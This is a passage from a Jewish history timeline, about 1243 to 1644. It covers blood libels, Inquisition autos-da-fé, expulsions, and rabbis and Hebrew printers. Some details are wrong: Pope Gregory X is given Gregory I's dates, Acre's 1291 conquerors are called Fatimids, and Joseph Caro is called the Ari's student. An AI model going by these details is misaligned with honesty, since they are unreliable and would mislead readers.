burned. 3531 1243 KITZINGEN, BAVERIA (Germany) Ritual murder accusation. Fifteen Jews were tortured to death. Their corpses lay in the street for a fortnight before they were allowed to be buried. 3532 1247 POPE INNOCENT IV After the body of a two year old girl found in Velress (Vaucluse), France, was used as an excuse for plundering the surrounding area (March 27), Pope Innocent IV (who was semi-retired by Emperor Frederick II) issued the Papal Bull Lacrimabilem Judaeorum against blood libels and sent it throughout Germany and France. 3537 1255 LITTLE SAINT HUGH OF LINCOLN (England) An infamous ritual murder libel. It was alleged that Jews enticed the boy and while starving him, invited Jews to Lincoln to murder him ritually. (Jews did come to Lincoln at that time to attend a wedding.) His body was cast into a well and a month later "miracles" followed the discovery of his corpse. On the basis of the alleged "confession" by Jopin (Jacob), the secular authorities (for the first time) and the Church sent 91 Jews to the Tower of London. 18 were executed before Richard and the friars stopped the killings. This incident later provided Chaucer with the idea for his Prioress Tale (1387) and the hero of the popular ballad, "Little Sir Hugh". His birthday (August 27) was celebrated until the Reformation. 3550 1261 MAGDEBURG (Germany) Archbishop Robert seized all Jewish property in Magdeburg, and held influential Jews for ransom by foreign relatives. (This was an inspiration for Eichmann, who offered Jews for trucks.) 3556 1263 DEBATE BETWEEN PABLO CHRISTIANI AND MOSES BEN NACHMAN (Spain) Instigated by Raymond of Penaforte. Christiani, a converted Jew, compelled King James of Aragon to force a debate between him and Moses ben Nachman (Nachmanides). The Jews, afraid that no matter the outcome they would lose, pleaded with Nachmanides to withdraw, but the King ordered him to continue. Although Pope Clement IV insisted on the outcome, the King was so impressed that he rewarded Nachmanides with a present of 300 maravedis. Pablo was given permission to continue these debates throughout Aragon with the Jews having to pay his expenses. 3558 1264 "STATUE OF KALISZ" (Statut kaliski) (Poland) Was issued by Prince Boleslav V The Pious (1221-1279). Boleslav had extended his rule over all of Poland in 1257. The statue served as the basis for the legal position of Jews in Poland and subsequent charters established their position as belonging to the prince's treasury and under his protection. The statue being issued soon after the expulsion of Jews from France and persecution in Germany, encouraged immigration to Poland. 6280 1265 NACHMANIDES (Spain) Was convicted for publishing his side of the debate with Pablo Christiani. Although Nachmanides was not severely punished by the King, he decided to leave Spain for good and settled in Eretz Israel. 3563 1267 NACHMANIDES ARRIVED IN JERUSALEM (Eretz Israel) Upon his arrival, seven years after the Tatar invasion, Nachmanides found "only two brothers, dyers who bought their dye from the governor and were joined by up to ten Jews in their home on Sabbaths for prayers." He reorganized the Jewish community and founded a yeshiva and synagogue. 3567 1269 LOUIS IX (Saint Louis) (France) Needing no urging from the Church, he ordered all Jews found in public without a badge (yellow or red) to be fined ten livres of silver. The badge in France was usually a circle of red or yellow material and was known as a rouelle. The original badge was actually Moslem in origin; it was Caliph Omar II (717-20) who decreed that both Jews and Christians must wear a distinguishing mark. The "badge" took on different shapes, colors and even dress (i.e. a hat or color of a dress) depending on the country. 3569 1270 IMMANUEL OF ROME (Manuel da Gubbio) Jewish Italian poet who was a contemporary of Dante and his "Young Italy" circle. He introduced Hebrew secular poetry into Italian intellectual circles. His poems were published as "Compositions of Immanuel" (Machberet Immanuel). 3572 1270 JACOB BEN ASHER (Germany) The Baal Haturim. The third son of the "Rosh" (Asher ben Jehiel), he achieved fame as a codifier of Jewish law. His code is constructed in four sections: 1) Orah Hayim - dealing with worship, 2) Yorah Deah - on ritual law, 3) Eben ha-Ezer - laws relating to marriage and divorce, 4) Hoshen Mishpat - on civil law. Unlike Maimonides, he only compiled current laws and his works served as a foundation for Joseph Caro and others. His son, Solomon, died during the Black Plague. 3573 1272 POPE GREGORY X (590-604) Condemned the ritual murder libels. In addition, since Jews could not bear witness against Christians, he refused to accept testimony by a Christian against a Jew unless it was confirmed by another Jew. 3574 1287 WERNER OF OBERWESEL (Germany) A 16 year old boy was found dead on the shore of the Rhine.Immediately a ritual murder accusation placed the blame on the Jews. Over the next few months forty men, women and children - were killed by riots as they spread down the Rhineland. Werner himself (despite the order of King Rudolf I to burn the corpse) was buried in a chapel in Oberwesel where he was venerated as a saint. Nearby Bacharach, where his body was found, also erected a chapel. Although Pope John XXIII ordered the “holy” day deleted from diocese of Trier in 1963 it still appears in some German Saint Directories. The “Saint Werner’s Chapel” was renovated in 2001.rn 3590 1288 BONN (Germany) Riots, after a ritual murder accusation, left 104 Jews dead. 5672 1291 ACRE (Eretz Israel) After a two month siege, the fortress fell to the Fatimid Egyptians under Al-Ashraf Khalil. Any inhabitants Christian or Jews who did not succeed in fleeing were killed. To all intents and purposes the Crusades were at an end. The various crusading armies never succeeded in uniting as a cohesive force. They were defeated as much by infighting and separate treaties as by the Fatimid armies. 3598 1321 FRANCE Jews were accused of encouraging lepers to poison Christian wells. This directly led to wide-spread and similar accusations during the Black Plague. This time, five thousand Jews were killed. At Chinon, 160 Jews were burned in a pit on an island outside of town. The king, Philip the Tall, in due course admitted that the Jews were innocent. The island is still known as Ile de Juifs. 3614 1336 ROTTINGEN (Germany) Led by John Zimberlin, a self proclaimed prophet, a group of peasants known as the Armleder (for their leather straps worn on their arms)or Judenschlaeger ("Jew-killers") attacked Jewish communities in Franconia and the Alsace region. They also destroyed Jewish communities in Bohemia, Moravia and elsewhere along the Rhine. Roughly 1500 Jews were murdered. Eventually, when the Armleder began to attack non-Jews, they were opposed by local Lords. 3620 1337 DECKENDORF, BAVARIA (Germany) Host desecration was alleged and violence spread to fifty-one communities, including Bohemia and Austria. To this day people come on pilgrimages to the church where paintings show Jews in medieval dress desecrating the host "wafers". 3621 1361 SIMEON BEN ZEMAH DURAN (The Rashbaz) (Majorca-Algiers) Talmudist poet, physician, and community leader. After the death of Isaac bar Sheshet's (1408) Simeon was appointed chief rabbi. Throughout his rulings he believed that that one should be stringent with oneself but lenient with others. He was a prolific author who wrote Novella on many of the tractates of the Talmud, poetry (piyutim), and responsa. His most well known work is Magen Avot a philosophical commentary on the tractate Avot. 3648 1365 JACOB BEN MOSES MOLLEN (The Maharil) (Mainz and Worms, Germany) One of the first great authorities to be distinguished with the title "Moreinu". He was also noted for his cantorial prowess and his adherence to nusah ha'tfillah (wording of the prayers). 3649 1367 CASIMIR III Expanded the "priviliges" of 1334 to include the Jews in Lesser Poland and Ukraine. 3650 1386 JOHN OF CAPISTRANO (Giovanni da Capistrano) (Italy) Nicknamed "Scourge of the Jews". A Franciscan monk, considered it an obligation and a privilege to persecute the Jews. As such, for the next 40 years, he traveled throughout Italy even reaching Bohemia. John of Capistrano acted as an agent of the Church, attacking Jews and heretics and did his best to undermine their positions. He did not hesitate to chastise the pope on occasion for being too lenient. He even convinced the Queen of Naples to cancel any rights given to the Jews and to reinstate all anti-Jewish measure, although this was short-lived. 3664 1389 GRAND DUKE WITOLD (Vitold) (Vytautas the Great) (1350-1430) (Lithuania) Established the basis for the legal status of Jews, including freedom of trade and worship originally in the Grodno Province and then on his other regions. This bill of rights "Cartia" was in sharp contrast to the medieval position of the Jews throughout Poland. Individual Jews were not taxed but the community itself was responsible for the collection and their lives and property were protected. The Duke also brought Jews from the Crimea and settled them in Vilna and even proposed that synagogues and Jewish cemeteries be tax exempted. 3668 1391 FORCED CONVERSIONS (Seville, Spain) Ferrand Martinez, Archdeacon of Ecija, began to incite mobs into attacking the Jewish quarter. The campaign soon spread throughout Spain, except for Granada. The Jewish quarter in Barcelona, located for over 400 years near the castle, was totally destroyed. Over 10,000 Jews were killed, and many others chose conversion and became New Christians or Conversos. Of these, many continued to practice Judaism in secret while paying lip service to the Church. They became known by the Christians as Marranos. The Jews never used the term Marrano themselves although some knew of it. Many scholars have speculated that the origins of the word stemmed from Latin, Arabic and even Hebrew, but in fact it was the Spanish term for pig or pork an expression of extreme disgust on the part of the Christians. The Jews refered to them as anusim "those who were forced to convert". Eventually, these mass forced conversions led to the establishment of the Inquisition. 3670 1391 PALMA DE MAJORCA As news of the Spanish riots reached Majorca, riots broke out all over the island. Despite the efforts of Francisco Sa Garriga, the local viceroy, the entire Jewish community was destroyed and its inhabitants were either converted or murdered. Over 110 families converted, and the remnants fled to North Africa. Although a number of Jews were again invited to reside there the following year, a blood libel 40 years later ended the 800 year old Jewish community. 3672 1410 MEIR ALGUADES (Spain) The chief rabbi and former physician to King Henry III (Castile) was accused by Paul de Santa Maria of desecrating the host. He was tortured until he "confessed". Then he was killed and the synagogue was converted into a church. 3684 1418 REGIONAL CONFERENCE (Flori, Italy) Representatives from the Jewish communities of central and northern Italy met to discuss raising funds for self-defense as well as instituting sumptuary regulations so as "not to show off in the presence of Gentiles." It is plausible that the issuing of these sumptuary regulations, influenced Pope Martin V to issue a protective Bull the following year. 3690 1435 MAJORCA Three years after a blood libel the community was forced to either leave or convert. The 200 who were converted became known as chuetas (the word for pork). Legal discrimination against them existed until 1782. 3703 1435 SPEYER (Germany) Jews were expelled. One of the refugees was Moses Mentzlav who moved to Italy. His son, Israel Nathan, founded the printing house of Soncino. 3702 1437 DON ISAAC ABARBANEL (Spain) Philosopher, financier and scholar. He interceded many times on behalf of his fellow Jews, including trying to stop Ferdinand from expelling them. In 1492 he was foiled by Torquemada and followed them into exile. His commentaries cover the major and minor Prophets. Consistent with his belief that the Messiah would come in his lifetime, he also wrote three messianic texts called Migdal Yeshu'ot (Tower of Salvation). 3707 1449 TOLEDO (Spain) The town council decided not to allow New Christians to hold any public office. Pope Nicholas V condemned the decision, claiming that all Catholics "constitute one body". 3717 1453 BRESLAU (Germany) John of Capistrano led a mock trial of alleged desecrations of the host. The Rabbi hung himself and urged other Jews to commit suicide. Forty-one Jews were burned, their property confiscated, and all children under seven were forcibly baptized. 3722 1454 NIESZAWA STATUTE (Poland) Casimir IV revoked the Jewish charter, at the insistence of Bishop Zbignyev Oleshnitzki. The Cardinal had correctly \"predicted\" Casimir\'s defeat by the Teutonic Knights backed by the Pope, and succeeded in convincing the King that it was due to the Jews. 3727 1460 JUAN ARIAS DAVILA (Spain) The Converso son of Diego Arias (treasurer to Henry IV) became Bishop of Segovia. Many new Christians attained high positions in both the government and the Church, which led to resentment and jealously on the part of many "old Christians". This paved the way for the acceptance of the Inquisition. Despite his position, Davila was later persecuted by the Inquisition. 3730 1464 CRACOW (Poland) Prior to his death, John of Capistrano called for a crusade against the Turks. Such a crusade was started in Cracow, but never left the city where over thirty Jews were killed and their homes plundered. The crusade later expanded to include Posen and the surrounding area. Despite his previous repeal of Jewish "privileges" King Casimir IV fined the city council for allowing the pogrom to take place. 3736 1468 ELIAS (ELIJAH BAHUR) LEVITA (Germany-Italy) Grammarian and Lexicographer. Levita was renowned in his day for his teaching of Hebrew to Christian scholars. His own works include Dikduk Eliyahu Halevi, Pirkei Eliyah and Masoret Hamasoret. Two additional important compositions were Meturgeman (a dictionary) and Tishbi which is a lexicon of Hebrew used in the Talmud. Although invited to Paris in the name of the king to lecture, he refused, stating that it would make it too difficult for him to continue to live as a religious Jew. Levita is credited with writing the first Hebrew-Yiddish dictionary and being the first to publish a Yiddish translation of the Psalms. With all his accomplishments, he is most famed for his Yiddish epic Bovo d’Antonia also known as the Bovo Buch (1507) which was reprinted for centuries. 3741 1469 TOMAS DE TORQUEMADA C. 1420-1498 (Spain) A Dominican, he became Queen Isabella's confessor. He exerted tremendous influence - especially over the queen - and was instrumental in persuading the king and queen to expel the Jews in 1492. Torquemada - together with Cardinal Mendoza - convinced the pope to establish the Spanish Inquisition. He was appointed Inquisitor General in 1483. 3742 1475 FIRST COMPLETE HEBREW BOOK (Reggio De Calabria, Italy) The Bible and Rashi's commentaries was printed by Abraham ben Garton. It is believed that the first printed books in Hebrew began a few years earlier. 3749 1475 SIMON OF TRENT (Italy) One of the more notorious blood libels. A Franciscan monk, Bernardinus of Feltre, came to Trent and began preaching Lent sermons against the Jews. A week before Easter a boy by the name of Simon drowned in the river Adige. The monk charged the Jews with using the body for its blood. The body washed up a few days later near the house of a Jew who brought it to the Bishop Honderbach. 17 Jews were tortured for over two weeks. Some confessed while being tortured and 6 Jews were burned. Two more were strangled. A temporary hiatus was called by Pope Sixtus IV, but after five years the trial was reopened and 5 more Jews were executed. The papal inquest agreed with the trial, Simon was beatified, and all Jews were expelled for 300 years. The trial served as the basis for anti-Semitic writings for hundreds of years. Only in 1965 was Simon debeatified. 3750 1480 ISRAEL NATHAN (Italy) Founded the Hebrew printing house of Soncino in Soncino, Italy. Their first book, printed in 1483 under the direction of his son, Joshua Solomon, was a volume of the Talmud (Tractate Brachot). A Bible with vowels was printed with over 400 illustrations in 1488. In all, more than 130 Hebrew books were printed by their various presses over the next 70 years. 3756 1480 SEVILLE (Spain) Two Dominican friars were commissioned by Pope Sixtus to begin "investigations" into heresy charges against the conversos in Spain. The first order was for all noblemen to denounce lapsed conversos to the Inquisition. Between 1481 and 1488, approximately 700 men and women were burned at the stake, and approximately 5000 were forced to "repent." 3755 1481 FIRST AUTO DA FE (Seville, Spain) Six Marrano men and six women were burned alive for allegedly practicing Judaism. The Auto da Fe (Act of Faith) combined the Judicial ceremony of the Inquisition with vociferous sermons. An individual could be denounced for having lapsed back into his old religion or committing heresy. Although the Inquisition and the Auto da Fe was used on anyone accused of heresy, its main victims were Jews. The inquisition accused people of backsliding or heresy for actions such as not eating pig (for whatever reason), washing hands before prayer, changing clothes on the Sabbath, etc. Over two thousand Auto da Fes are said to have taken place in the Iberian Peninsula and its colonies. The number of victims in Spain alone is estimated at 39,912, many of whom were burned alive. Some were burned in effigy. Others, convicted posthumously, were dug up and burned - and the property they left was confiscated from their heirs. Approximately 340,000 people, many of them Jews, suffered at the hands of the Inquisition, although the vast majority were given lesser punishments. The last Auto da Fe was held in 1790. 3758 1483 SONCINO (Italy) The first tractate of the Talmud (Brachot) was printed by Joshua Soncino. It included Rashi, Tosafot, Piskei Tosafot, and the commentaries of Maimonides and Mordecai b. Hillel. 3763 1486 AUTO DA FE AT TOLEDO (Spain) The first in that city and one of the most lenient Auto da Fes anywhere. The Jews were forced to recant, fined 1/5 of their property and permanently forbidden to wear decent clothes or hold office. 3767 1486 AUTO DA FE AT TOLEDO (Spain) This time more than 900 people were persecuted and humiliated at the Auto da Fe. Though many suffered on the forced penitential marches, no one was actually killed. 3768 1486 FIRST PRAYER BOOK (Siddur) Italy) Was printed in Italy by Soncino. This was the only time that the Siddur was published during the 15th century. For the most part hand-copied manuscripts (of which there were plenty) were used. 3769 1488 JOSEPH CARO (Safed) A student of the Ari, he published his code of Jewish laws in 1567 after thirty-two years of work on Rav Jacob ben Asher's Arbah Turim. He called his work the Bet Yoseph (House of Joseph). It is better known as the Shulchan Aruch (Prepared Table) since it made every Jewish law available to everyone. Unfortunately, like Maimonides, he was criticized for placing religious growth in "hibernation". His death marked the end of the Rishonim (first commentators) and the beginning of the period of the Acharonim (last) - which continues to the present time. 3772 1492 EDICT OF EXPULSION (Spain) Since professing Jews were not under the jurisdiction of the Inquisition, the Church leveled a ritual murder accusation against them in Granada and was thus able to call for the expulsion of both Jews and Marranos from Spain. The Marranos themselves were accused of complicity in the case, and both were ordered to leave within four months. Torquemada, the director of the Inquisition (and incidentally of Jewish descent), defended this against Don Isaac Abarbanel. It is estimated that approximately 200,000 Jews were living in Spain. Approximately half of them found temporary sanctuary in Portugal. Another 50,000 fled to friendlier shores and the rest remained as "Christians". 3777 1493 GENOA (Italy) During the previous year, Jews fleeing Spain were allowed to land for three days. As of this date this special consideration was cancelled due to the "fear" that the Jews might introduce the Plague (Black Death) into Genoa. 3782 1496 MANUEL OF PORTUGAL During the first year of his reign he befriended the Jews, but his desire to unite the Iberian Peninsula through marriage to the daughter of Ferdinand and Isabella changed all that. Four years after the expulsion of Jews from Spain, he ordered them expelled from Portugal within 11 months (October 31, 1497). As his real desire was not to see the Jews leave, he only opened one port, which first forced most of them to remain behind after the designated date, and then forced them to be baptized. 3786 1500 SOLOMON MOLCHO (Diego Peres) Marrano and pseudo messiah. He became so impressed with Reuveni (1524) that he reconverted to Judaism. He predicted correctly an earthquake in Portugal and a flood in Rome. At first Pope Clement VII befriended him, after his predictions came true. He traveled with David Reuveni to Charles V to convince him to let the Jews fight against the Turks (see 1532). Charles V had him killed. 3796 1500 SOLOMON SHAKNA (Shachne) BEN JOSEPH (Lublin, Poland) Student of Jacob Pollack. He was called to serve as the Chief Rabbi of Little Poland (1541). He was known as a great talmudist and pilpulist, and helped adapt Caro's Shulchan Aruch to Northern Jewry. He refused to write any halachic work out of fear that it would be taken as a final word. 3797 1503 FERNANDO DE NORONHA Explorer, arrived in Brazil with six ships. Many of his passengers were "New Christians". 5618 1504 MOSCOW (Russia) "Proselytizing" Jews in Moscow and Kiev were expelled after a few high officials converted to Judaism. 3800 1506 PRINCE FEODOR YAROSLAVITCH (Lithuania) Established the community of Pinsk. At the same time, he reconfirmed the rights given to the Jews by King Alexander Jagello, king of Lithuania/Poland. By the beginning of the 18th century Jews became the majority of the town and remained such until July 4, 1941 when the Germans entered the city. The final "aktion", which took place on Oct. 28, 1942, left alive only 150 artisans, who were killed a few months later. 3804 1511 AMATUS LUSISTANUS A Marrano and a famous physician, he had to flee from Portugal to Belgium to Salonika before he found freedom from the Inquisition. His major work, Centuries, a seven volume composition of medical case histories, was published many times. 3814 1511 SICILY The first Auto da Fe was held. Eight former Spanish converts were accused of practicing Judaism and were executed. 3813 1514 AZARIAH DE ROSSI (Ferrara, Italy) Scholar and author of Me'or Enayyim (Light of the Eyes), a book on Jewish history (see 1575). A descendant of one of the first Jewish families in Italy (Min Ha'Adumim), he introduced the scientific method of comparing sources to Jewish study. De Rossi earned the ire of many when he proved that Jossiphon was actually written in the medieval times and was not reliable as a historical work. 3819 1516 JEWISH GHETTO (Venice, Italy) Was established. It was called the Ghetto Nuovo or the New Foundry. The basis for the ghetto is found in the Cannon of the third Lateran Council (1179), forbidding Jews and Christians to live together. In France it was called the Carriére des Juifs, and in Germany the Judengasse or Judenstadt. The ghetto era was to last almost 300 years, though later also revived by the Nazis. 3820 1520 MOSES ISSERLES (The Rama) (Poland) The son-in-law of Shalom Shakna. He served as Rosh Ha (Head of the) Yeshiva in Cracow. His main work was the adaptation of Caro's Shulchan Aruch to European Jewry, called Mappah Hashulchan (The Tablecloth). An earlier work, Darke Moshe Hakatzar (The Ways of Moses Abridged) was written on the Tur (see 1270). He was also known for the almost 100 responsa he published. Isserles tried to strengthen the stature of many customs, elevating them almost to the level of commandments. On the other hand, he was very lenient when it came to cases of stress or financial loss. 3829 1523 MEXICO Only allowed immigration to those who could prove four generations of Catholic ancestry. In spite of this, many Marranos succeed in purchasing "Purity of Blood" (limpieza de sangre) certificates. 6307 1524 DAVID REUVENI (Italy-Portugal) Arrived in Rome claiming to be a representative of the Ten Lost Tribes and requesting assistance from Clement VII to fight the Turks. Though he was burned at an Auto da Fe in Portugal in 1552, his effect on his fellow Jews was to raise their self-esteem, knowing that somewhere there existed a strong and independent part of Israel. 3840 1525 RODRIGO LOPEZ (Portugal-England) A Marrano physician. He supposedly arrived in England as Francis Drake's prisoner of war. He rose in importance to become Queen Elizabeth's physician (1586). He was accused by other members of the court, including the Earl of Essex, and the Portugese pretender Dom Antonio,of being a Spanish spy who was trying to poison the Queen, and arrested, but the Queen refused to carry out the death sentence. On June 7, 1594, she finally consented and he was hanged. He was vilified as being a "Jew" throughout his trial. 3841 1526 ANTWERP (Belgium) Emperor Charles V, ruler of Spain and the Holy Roman Empire, issued a general safe-conduct to the Portuguese "New Christians" and Marranos (though not to professing Jews), allowing them to live and work in Antwerp. Although they still had to live under cover, they were safe from the Inquisition which was not recognized and allowed to work in the Southern "Low Countries," though they were under Spanish rule. Only after the Treaty of Utrecht (1713), when Antwerp passed to Austrian rule, were the Jews able to live there openly. Charles was the grandson of Ferdinand as well as Emperor Maximilian I. 3843 1528 MEXICO The first Auto da Fe took place in the New World. One of its first victims was Hernando Alonso. One of Cortes' conquistadors, he was burned at the stake with another "Judaizer". An official Office of the Inquisition would only be set up in 1571. 3847 1530 GERMANY A charter was granted to the Jews despite the protests of Martin Luther. Josel of Rosheim, the famous shtadlan or interceder, was instrumental in its passing. 3850 1530 HELITZ BROTHERS (Poland) Opened the first Hebrew printing house in Cracow. In 1537 they converted to Christianity and petitioned King Sigismund to force the Jews to buy their books (which the Jews had boycotted since their conversion). (See 1539) 3851 1532 MOLCHO AND REUVENI Were arrested by Charles V. Molcho was accused of being a Church renegade and burned at the stake in the first Auto da Fe held in Evora, Portugal on November 7 of that same year. Reuveni was sent to Spain where he was also probably burned at the stake, probably at Badajoz Spain in 1538. 3854 1533 DUARTE DE PAZ (Portugal) An emissary of the New Christians of Portugal succeeded in gaining from Pope Clement VII a postponement of the establishing of the Inquisitions against New Christians in Portugal. The pope issued the , Bulla de Perdao, which was essentially a pardon for all past offenses. Unfortunately, the pope died a few years later, and the Inquisition was officially established (1536). 3855 1534 CRACOW (Poland) The first book to be printed in Yiddish, a biblical dictionary and concordance Mirkevet HaMishnah Sefer Rebbi Anshel was published. The earliest works in Yiddish, mostly verse and biblical epics, were composed probably 100 years earlier. 3857 1534 ISAAC LURIA (HaAri Hakadosh - Sacred Lion) (Egypt-Eretz Israel) Born in Jerusalem, he moved as a child to Egypt where he became a scholar and began to study Kabbalah. There he spent seven years in isolation on an island on the banks of the Nile, visiting his family only on the Sabbath. He wrote a commentary on Sifra di- Zeniuta, an important section of the Zohar. In 1569 he moved to the "Holy City" of Safed, and became known as the founder of modern Kabbalah. His most famous pupil was Hayim Vital. Joseph Caro also studied Kabbalah with him. The latter was responsible for disseminating his ideas. The Ari was also known as a liturgical poet and many of his songs were published in a manuscript called Har Nof. Some of these hymns (including Yom Ze LeYisrael) are still sung on Shabbat during the meals in many Jewish homes. 3858 1536 PORTUGAL Pope Paul III, acting upon the petition of King John III, issued a Bull providing for the establishment of an Inquisition based on the Spanish archetype to begin in 1539. In 1544, after numerous bribes, it was again postponed for three years but reestablished permanently in 1547. The last Auto da Fe in Portugal was held in October 1791. Over the years (until 1821) there were more then 40,000 recorded cases tried before the Portuguese Inquisition, with 30,000 condemnations (though many of these were reconciled). 3861 1540 LISBON (Portugal) The first Auto da Fe of those forcibly converted to Christianity (Conversos) was held. The Auto da Fe was to play a macabre part of Portuguese life for the next 250 years. 3864 1542 CHURCH SYNOD (Piotrkow, Poland) As the Reformation began to make headway in Poland, the Catholic Church under Archbishop Peter Gamrat and the Papal Nuncio Lippomano decided to combat it by increasing the level of Judeophobia and demanding that Jews be expelled or at least be put into ghettos. Host desecration and ritual murder accusations, led by church leaders, became far more common throughout the next 200 years. 3868 1543 HAYIM VITAL (Damascus, Syria - Safed, Eretz Israel) A pupil of the Ari, he was respected both in and out of Eretz Israel. Vital was the author of many Kabbalist, talmudic and Biblical works including Etz Chaim (Tree of Life) on Lurian Kabbalah, and Lekutai Torah (Gleanings of Torah). He had sole possession of the Ari's writings, and most of our knowledge of the Ari's life and teachings are from Vital. 3873 1544 EMPEROR CHARLES V (Holy Roman Empire) Was convinced by Josel of Rosheim to condemn the ritual murder accusations. 3874 1547 PORTUGAL An irreversible and independent Inquisition was finally approved by the Bull Meditatio Cordis by Pope Paul III. Offices of the Inquisition were established in Lisbon, Evora, Coimbra, and even in Goa. 3875 1551 SIGISMUND II AGUSTUS (Poland) The last Jagello monarch of Poland issued a proclamation which permitted Jews to elect their own chief rabbi and judges, answerable only to the King. It is appropriately called the "Magna Carta of Jewish Self-Government". He also permitted Jews to settle in Vilna without restrictions other then being limited to certain streets. 3881 1553 THE TALMUD (Rome, Italy) Was confiscated and publicly burned in Rome. This burning was held under the auspices of Cardinal Caraffa, later to be Pope Paul IV, with the backing of Pope Julius III. Caraffa, a rabid counter-Reformationist, chose this day specifically so the Jews would feel the grief more strongly. Talmud burning spread through much of Italy. 3882 1554 POPE JULIUS III After an appeal by Jews in Catholic countries, the Pope agreed only to allow the burning of the Talmud, but not "harmless rabbinical writings". 3884 1558 MEIR BEN GEDALIAH (Maharam of Lublin) (Poland) Educator, talmudic scholar, and director of the Yeshivot of Cracow, Lvov and Lublin. Many of his pupils became well-known in their own right. His casuistic commentary (Meir Enai Chachamim) is considered one of the important commentaries on the Talmud. After his death, over 140 of the halachic questions posed to him were published under the name Manhir Einai Chachamim. 3895 1564 POPE PIUS IV Permitted the publication of the Talmud - after censorship and the deletion of the name "Talmud". 3903 1569 Phillip II (Spain) Issued the order to set up an inquisition in the New World. Five years later, Mexico was the first in the New world to establish one. 3911 1569 THE UNION OF LUBLIN (Poland and Lithuania) Against the backdrop of a fear of Russian intentions under Ivan IV, the Duchy of Lithuania and the kingdom of Poland decided on a practical merging. Although they were now ostensibly "one common country", Lithuania still kept its own title, army, treasury, and code of law. Jews helped found new towns and villages on the border between the two countries. The less then total union resulted in Lithuania retaining its own independent Jewish council that was not connected to the Council of the (four) Lands in Poland. 3913 1571 MEXICO An Inquisition was set up that remained in force until the end of the eighteenth century. During that period, 1,500 persons were convicted of being judaizantes (someone who practices Judaism). Aproximately 200 were either burned at the stake or died before being convicted. A similar number were sentenced to jail terms. 3915 1574 MEXICO The first official Auto da Fe in the New World was held after the establishment of the Inquisition 5 years earlier. The first unofficial Auto da Fe was actually held in 1528 when the conquistador, Hernando Alonso, was executed. 3918 1575 AUTO DA FE AT SEVILLE (Spain) Many Marranos were among the victims of this Auto da Fe. 3920 1575 ELIJAH BEN MOSES DE VIDAS Finished his major work Reshit Chochmah (The Beginning of Knowledge). De Vidas was a student of Moses Cordovero (see 1522) in Safed. His Reshit Chochmah synthesized ethical and moral teaching with Kabbalah. Written in an easy and understandable style, it became very popular. 3921 1580 DOM ANTONIO (Prior of Crato) (Portugal) Laid claim to the Portuguese throne after Henry II died without leaving an heir. Dom Antonio was the grandson of King Manual, whose son Dom Luiz married a Marrano. King Phillip II of Spain quickly annexed Portugal. A French, and later English expedition backed by Marrano funds, to take Portugal, ended in failure. Antonio later blamed the Marrano community for his failure and turned against them, especially against Roderigo Lopez (see 1525) accusing him of treason. 3929 1586 POPE SIXTUS V (Italy) Gregory's successor. He revoked Gregory's policies allowing Jews to reside in the Papal states and to print the Talmud. These policies were reinstated upon his death and lasted until 1870. 3933 1593 LEGHORN, LIVORNO (Italy) Under Ferdinand I (the Medici ruler). In an effort to turn the town into a successful port Ferdinand I issued an open invitation for "Westerners, Spaniards" etc. to join in settling the town. The charter guaranteed freedom of religion including the open practice (for Marranos) of Judaism and the right of citizenship. 3946 1600 VERONA (Italy) The 400 Jews of Verona completed their synagogue after their move into the ghetto. This date was actually celebrated as a "Purim" until the French Revolution, since many felt that the ghetto provided some protection, and since in an unusual move the keys of the ghetto were given to the Jewish leaders. 3957 1604 MENASSEH BEN ISRAEL (Holland) A Marrano by birth, he became an outstanding man of letters. He was mystically inclined and believed that Jews must dwell in every country before the Messiah could come. This was the basis on which he approached the religiously-minded Cromwell with a petition for the resettlement of Jews in England. He was assisted by Antonio Carvajal, the first "denizenized" (foreigner granted residence and some other rights) Jew in England under Charles I. Although Menasseh was later offered a job in Brazil, he remained in Amsterdam. Cromwell eventually had his way, despite the fact that England and the Dutch states were at odds, and in spite of the opposition of English clergy and merchants. 3962 1610 JACOB SASPORTAS (Oran, Morocco-Amsterdam, Holland) Kabbalist and rabbi and a fierce opponent of Shabbetai Zevi. He served as envoy to the Spanish court in Morocco and later became head of the yeshiva in Amsterdam. In his battle against Sabbatianism he produced Tsitsit Novel Zvi in which he collected vast material, including pamphlets and letters, and answered it in detail. 3969 1616 FRANKFURT (Germany) Fettmilch (see 1614) was hanged. That day is commemorated as a feast day known as "Purim Winz" (Purim of Vincent)by the Frankfurt community, with the reading of the Megillat Vinz composed by Elhanan b. Abraham Helin. 3977 1621 SHABBETAI BEN MEIR HACOHEN (Vilna, Lithuania) One of the most well known and important commentators on the Shulchan Aruch (Yoreh De'ah) in which he explained and clarified rather than criticized Joseph Caro. His work is called Siftei Hacohen (Lips of the Priest) or the Shach for short. A lively competition developed between him and David ben Shmuel Halevy (1586), author of the commentary Turei Zahav (Taz). Each wrote replies and rebuttals to the other's works. Most of the Polish/Lithuanian rabbis ruled according to the Shach while those of Germany went according to David Halevy. He and Yom Tov Heller wrote litanies for those killed by Chmielniki (1648), which he described in his Megillat Eichah (1651). He fled Vilna in 1655 and became a rabbi in Moravia. 3986 1632 BARUCH SPINOZA (Amsterdam, Holland) As a child, he showed great promise in his religious studies, but as he grew older he decided that there was no place for him in organized religion. The brilliant heretic Van den Ende, who was later burned by the authorities for his beliefs, influenced him. Spinoza delved into Descartes and Bruno, and his radical theories on G-d and mortality brought about his excommunication from the Jewish community. He denied revelation, but not God's existence, although he was against all traditional religion. His later life was marked by poverty for which he never accepted any assistance. Spinoza's great works include his "Ethics" and "Theologico-Politica Tractate". He was buried in an unmarked grave at the church in Spux, Holland. 4004 1632 MADRID (Spain) Two years after Miguel Rodregues was discovered holding Jewish rites and accused of destroying a crucifix, a great Auto da Fe was held in the presence of the King, Queen, and foreign ambassadors. Rodregues, his wife Isabel, and five others were burned alive. Their house was razed and a convent called La Paciencia was built on the site. 4003 1639 AUTO DA FE (Lima, Peru) More than eighty New Christians were burned in this Auto Da Fe, including Francisco Maldonna de Silva (Elia Nazareno), after the Inquisition discovered that they were holding regular Jewish services. De Silva spent 12 years in prison, during which time he managed to write two books using a chicken bone and charcoal. Each book was about 100 pages. He succeeded in putting together a rope out of corn husks, but instead of escaping he used it to visit other prisoners, urging them to believe in Judaism. 4012 1641 SHABBTAI BEN JOSEPH (BASS) (Kalish - Prague, Bohemia) Known as the father of the Hebrew bibliography. He was the author of the first bibliography of Hebrew books called Seftai Yesharim. A biblical commentator of repute, his concise analysis of Rashi is printed today in most Chumashim (Bible with commentaries). Shabbtai fought to set up a printing house. He finally succeeded in doing so near Breslau. He was jailed numerous times when accused by local Church leaders of printing anti-Christian material. His printing house, founded in 1689, lasted for over 150 years. 4015 1644 LOPE DE VERA (Judah the Believer) (Spain) A brilliant young Christian scholar who was drawn to 